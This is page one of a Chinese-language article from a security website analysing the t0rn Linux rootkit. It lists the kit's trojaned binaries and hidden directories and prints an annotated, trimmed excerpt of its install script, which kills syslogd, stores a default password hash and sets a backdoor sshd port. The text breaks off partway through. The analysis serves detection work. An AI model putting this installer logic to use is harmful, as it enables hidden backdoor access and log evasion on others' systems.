安全中国首页 > 文章中心 > 黑客技术
 
安全中国网友投稿专用上传FTP空间:
Ftp服务器:www.anqn.com
Ftp端口:21
用户名:anqn
密 码:anqn.com
 

Rootkit采用二进制方式全面分析

更新时间:2008-2-5 0:16:36
责任编辑:阿loosen
热 点:
简介 

t0rn是一个lrn风格的Linux特洛伊木马,作者j0hnny7 / zho-d0h。2001年4月左右引起世界关注的狮子蠕虫的第一版就使用了这个rootkit。本文将对这个rootkit进行分析,以及如何对其进行检测。 

t0rn采用二进制方式进行散发,因此攻击者可以非常容易地将其安装到Linux系统中,只要执行./t0rn就可以了。在其二进制发布包中除了一组系统应用程序的特洛伊版本外,还包括一个日志清理程序t0rnsb,一个嗅探器程序t0rns和一个日志语法分析程序t0rnp。 


细节 



t0rn的组成 

我们首先看一看t0rn的包含的文件,各个文件的属性以及它们的作用: 


drwxr-xr-x 4096 .t0rn 
drwxr-xr-x 4096 dev 
--------以下是特洛伊木马程序------------ 
-rwxr-xr-x 22460 du 
-rwxr-xr-x 57452 find 
-rwxr-xr-x 32728 ifconfig 
-rwxr-xr-x 6408 in.fingerd 
-rwxr-xr-x 3964 login 
-rwxr-xr-x 39484 ls 
-rwxr-xr-x 53364 netstat 
-rwxr-xr-x 31336 ps 
-rwxr-xr-x 13184 pstree 
-rw-r--r-- 100424 ssh.tgz<--就是.t0rn目录的压缩包。 
-rwxr-xr-x 266140 top 
-------以上是特洛伊木马程序----------- 
-rwxr-xr-x 4568 pg<--对密码进行处理 
-rwxr-xr-x 1382 sz<--shell脚本文件,处理特洛伊木马程序的大小。t0rn rootkit使用这个脚本在木马程序中填加0,使其大小等于被替代的系统程序,作者:Tragedy/Dor。 
-rwxr-xr-x 7877 t0rn<--shell脚本文件,用于启动t0rn rootkit。 
-rwxr-xr-x 7578 t0rnp<--perl脚本文件,作者Jav。用于为LinSniffer的输出进行排序。 
-rwxr-xr-x 6948 t0rns<--网络嗅探器程序,可能就是LinSniffer或者其变体,理由在上面。^_^ 
-rwxr-xr-x 1345 t0rnsb<--shell脚本文件,用于日志清理。原名sauber,作者:socked。 
-rw-r--r-- 3095 tornkit-README<--当然是教唆文件了。:) 
-rw-r--r-- 197 tornkit-TODO<--将要改进的特征,可是现在还没有看到过新版的t0rn。 

./.t0rn: 
-rwxr-xr-x 201552 sharsed<--为其提供NIS或者DNS缓存服务的程序,可能就是一个nscd程序。 
-rw-r--r-- 488 shdcf2<--默认的sshd配置文件 
-rw-r--r-- 524 shhk<--ssh的私钥 
-rw-r--r-- 328 shhk.pub<--ssh的公钥 
-rw-r--r-- 512 shrs<--保存随机种子(Random Seed)的文件 

./dev: 
-rw-r--r-- 19 .1addr 
-rw-r--r-- 72 .1file 
-rw-r--r-- 21 .1logz 
-rw-r--r-- 38 .1proc 


安装完成之后,还会产生一个保存密码密文的文件/etc/ttyhash。 


安装目录 

t0rn rootkit安装完成之后,会在系统中建立以下目录: 


/usr/src/.puta/<--保存t0rns、t0rnsb和t0rnp等可执行程序以及.1addr、.1file、.1logz、.1proc等文件。 
/usr/info/.t0rn/<--保存sshd相关的文件。 




t0rn的执行流程 

在t0rn rootkit所有的文件中,t0rn脚本是整个rootkit的枢纽,因此我们将详细介绍一下这个脚本的执行流程,这个脚本里面有很多噱头,我对其进行了删减,下面的代码是修改之后的代码。你可以从t0rn的发布包中获得其完整的代码。 


#!/bin/sh 

killall -9 syslogd 
#杀死syslogd,以免在日志中留下记录。 

bla2=`pwd` 
#记录起始目录,以便安装完成后,从这个目录删除。 

if [ "`grep in.inetd /etc/rc.d/rc.sysinit`" ]; then 
echo "t0rnkit probably installed on machine [Alert]" 
else 
echo "" 
fi 
#检查是否系统中已经安装了t0rn rootkit 

SYSLOGCONF="/etc/syslog.conf" 
REMOTE=`grep -v "^#" "$SYSLOGCONF" | grep -v "^$" | grep "@" | cut -d ’@’ -f 2` 
#检测系统日志是否被记录到其它主机。 

if test -n "$1" ; then 
echo "Using Password :" 
cd $bla2 
./pg $1 > /etc/ttyhash 
else 
echo "No Password Specified, using default - t0rnkit" 
./pg t0rnkit >/etc/ttyhash 
fi 
#检查用户是否设置密码,如果用户没有设置密码,就使用t0rnkit作为密码。使用pg对密码进行加密,保存为/etc/ttyhash。 

if test -n "$2" ; then 
tar xfz ssh.tgz 
echo "Port $2" >> .t0rn/shdcf 
echo "3 $2" >> dev/.1addr 
cat .t0rn/shdcf2 >> .t0rn/shdcf ; rm -rf .t0rn/shdcf2 
else 
tar xfz ssh.tgz 
echo "Port 47017" >> .t0rn/shdcf 
echo "3 $2" >> dev/.1addr 
cat .t0rn/shdcf2 >> .t0rn/shdcf ; rm -rf .t0rn/shdcf2 
fi 
#解压ssh.tgz文件。检查用户是否设置了sshd使用的后门端口,如果没有设置就使用47017作为默认的后门端口。把端口号记录到dev/.1addr文件,并加入到.t0rn/shdcf文件中。最后把.t0rn/shdcf2中的默认设置填加到.t0rn/shdcf文件中,将其删除。 

1 2 下一页

 
相关文章
一日一文章
 
一日一软件
一日一动画